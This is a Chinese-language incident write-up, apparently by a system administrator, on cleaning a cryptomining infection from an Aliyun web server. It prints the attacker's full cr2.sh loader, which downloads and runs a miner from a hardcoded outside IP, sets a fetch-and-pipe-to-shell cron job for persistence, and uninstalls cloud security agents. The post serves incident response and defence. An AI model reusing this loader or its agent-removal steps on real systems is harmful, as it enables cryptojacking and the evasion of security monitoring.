写在前面 币圈火热不是没有原因,但是利益熏心劫持人家的服务可就不是什么快活事了。
尤其是作为运维,开发,测试,看到自家的服务器被黑,脸能拉下来十几条黑线,赶在老板发现之前,搞定吧。
0x01 发现 起因来源于 Aliyun 官方的一封邮件,上书:
1 2 3 4 【阿里云】尊敬的 AAB CCD: 经检测您的阿里云服务器 i-1234abcd5678efg 存在挖矿活动。按国家发改委关于整治挖矿活动相关通知, 请您于 20XX-YY-DD HH 时前完成挖矿问题整改,否则您的服务器将被关停,详情请查看邮件或阿里云站内消息通知。 若您有其他问题,可登陆阿里云官网在线咨询。
事实上,早在三个月以前,这台服务器的负载就高的吓人。仅仅作为公司的官网服务器使用,平时的 CPU 负载却几乎跑满,硬盘空间也被开发殆尽,尽管我已经提交报告希望能够尽快查看,可是后端开发和运维大家都没有在意这件事,搁置了许久。
结果东窗事发,当邮件发来时,我们才知道这么一回事,而原因排查工作就落到了我头上。
0x02 杀毒 既然是自家的服务器,在没有内鬼胆大到用公司服务器挖矿的前提下,那么只可能是外部的入侵了。
处于满负荷运行状态的服务器自然不是那么好掌控的,于是在排查之前,我决定先将它简单隔离,并重新启动。
1 2 Step 1. 在 Aliyun 上将该服务器的安全组设置为,入方向仅开放 SSH 22 端口 Step 2. 重新启动该服务器
顽固的负载在一瞬间被清空,但在几分钟后再次跑满。
那么是何方神圣如此执着要在这台机器上挖矿呢?
出现在最上面的是一个名为 phpupdate.out
的进程,占用约 10 个进程,把 CPU 的资源都给吃光了。
既然有了目标就好说多了,不过先别急着 kill,再想想。 这个进程在重启后依然存在,很有可能是有一个定时任务在为它不断生成子进程。 如果不把这个解决了,这个奇怪的文件还会源源不断冒出来。
1 2 $ crontab -l $ * * * * * wget -q -O - http://103.78.40.23:8000/userfile/default/userlogo/cr2.sh | sh > /dev/null 2>&1
果不其然,出现在下面的是一个奇怪的地址和另一个奇怪的文件 cr2.sh
。
我们直接把 cr2.sh
作为纯文本下载下来,分析下它到底做了什么。 以下是 cr2.sh
的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #!/bin/sh pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmr-stak pkill -f suppoie pkill -f zer0day.ru CRTDIR=$(pwd ) WGET="wget -O" if [ -s /usr/bin/curl ]; then WGET="curl -o" ; fi ;if [ -s /usr/bin/wget ]; then WGET="wget -O" ; fi if [ ! "$(ps -fe|grep '$CRTDIR/phpupdate.out -c $CRTDIR/config.json' |grep -v grep) " ]; then f1=$(curl 103.78.40.23:8000/userfile/default/userlogo) if [ -z "$f1 " ]; then f1=$(wget -q -O - 103.78.40.23:8000/userfile/default/userlogo) fi f2="103.78.40.23:8000/userfile/default/userlogo" if [ `getconf LONG_BIT` = "64" ] then $WGET $CRTDIR /phpupdate.out http://$f2 /phpupdate else $WGET $CRTDIR /phpupdate.out http://$f2 /phpupdate fi chmod +x $CRTDIR /phpupdate.out chmod 777 $CRTDIR /phpupdate.out $WGET $CRTDIR /config.json http://$f2 /config.json sleep 5 nohup $CRTDIR /phpupdate.out -c $CRTDIR /config.json >/dev/null 2>&1 & sleep 5 rm -rf $CRTDIR /config.json rm -f $CRTDIR /phpupdate fi pkill -f logo9.jpg crontab -l | sed '/logo9/d' | crontab - if crontab -l | grep -q "103.78.40.23:8000" then echo "Cron exists" else echo "Cron not found" LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl" ; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -" ; fi (crontab -l 2>/dev/null; echo "* * * * * $LDR http://103.78.40.23:8000/userfile/default/userlogo/cr2.sh | sh > /dev/null 2>&1" )| crontab - fi if ps aux | grep -i '[a]liyun' ; then LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl" ; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -" ; fi $LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash $LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash $LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash $LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing' ; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi
这位黑客真是用心良苦,于是根据特征来判断,只要我们保证 crontab
上有它提及的关键字段,那么也就不会再往上写东西了。
于是我这么改:
1 2 $ crontab -e $ 1 * * * * echo "103.78.40.23:8000"
这样它能扫描到这个字段,就不会反复更新 crontab
了。
一切准备就绪,我们开杀。
1 2 3 $ ps -ef | grep phpupdate.out $ ps -ef | grep cr2.sh
杀掉还没完,让我们找到他们:
1 2 3 $ find / -name *phpupdate* $ find / -name *cr2*
最后使用 crontab -e
把 crontab
更新一下,恢复到最初的空白。 至此,重启过后,服务器恢复正常。
0x03 结末 需要思考,找寻下服务器被攻破的原因。 本来,这台服务器就是用于测试的服务器,上面承载了太多测试阶段就存在的开放接口,安全组漏洞百出,几乎是以全暴露的状况下在跑各种应用。
防火墙和安全组的设置我们日常使用时并不上心,但如此这般是很容易被黑客攻入的。 因此,在保证正常使用的情况下,不必要的端口仍然需要关闭。